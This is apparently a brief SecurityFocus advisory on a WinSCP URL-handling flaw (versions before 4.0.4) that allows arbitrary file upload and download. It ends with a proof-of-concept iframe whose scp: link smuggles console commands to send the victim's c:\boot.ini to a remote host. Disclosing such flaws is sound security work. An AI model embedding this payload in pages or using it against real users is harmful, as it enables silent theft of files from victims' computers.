source: https://www.securityfocus.com/bid/25655/info

WinSCP is prone to a vulnerability that lets an attacker upload arbitrary files to a victim's computer or to download arbitrary files from the victim's computer in the context of the vulnerable application.

This issue affects versions prior to WinSCP 4.0.4.

<iframe src='scp:password@yourhost.com:" /console /command "option
confirm off" "put c:\boot.ini" close exit "'/>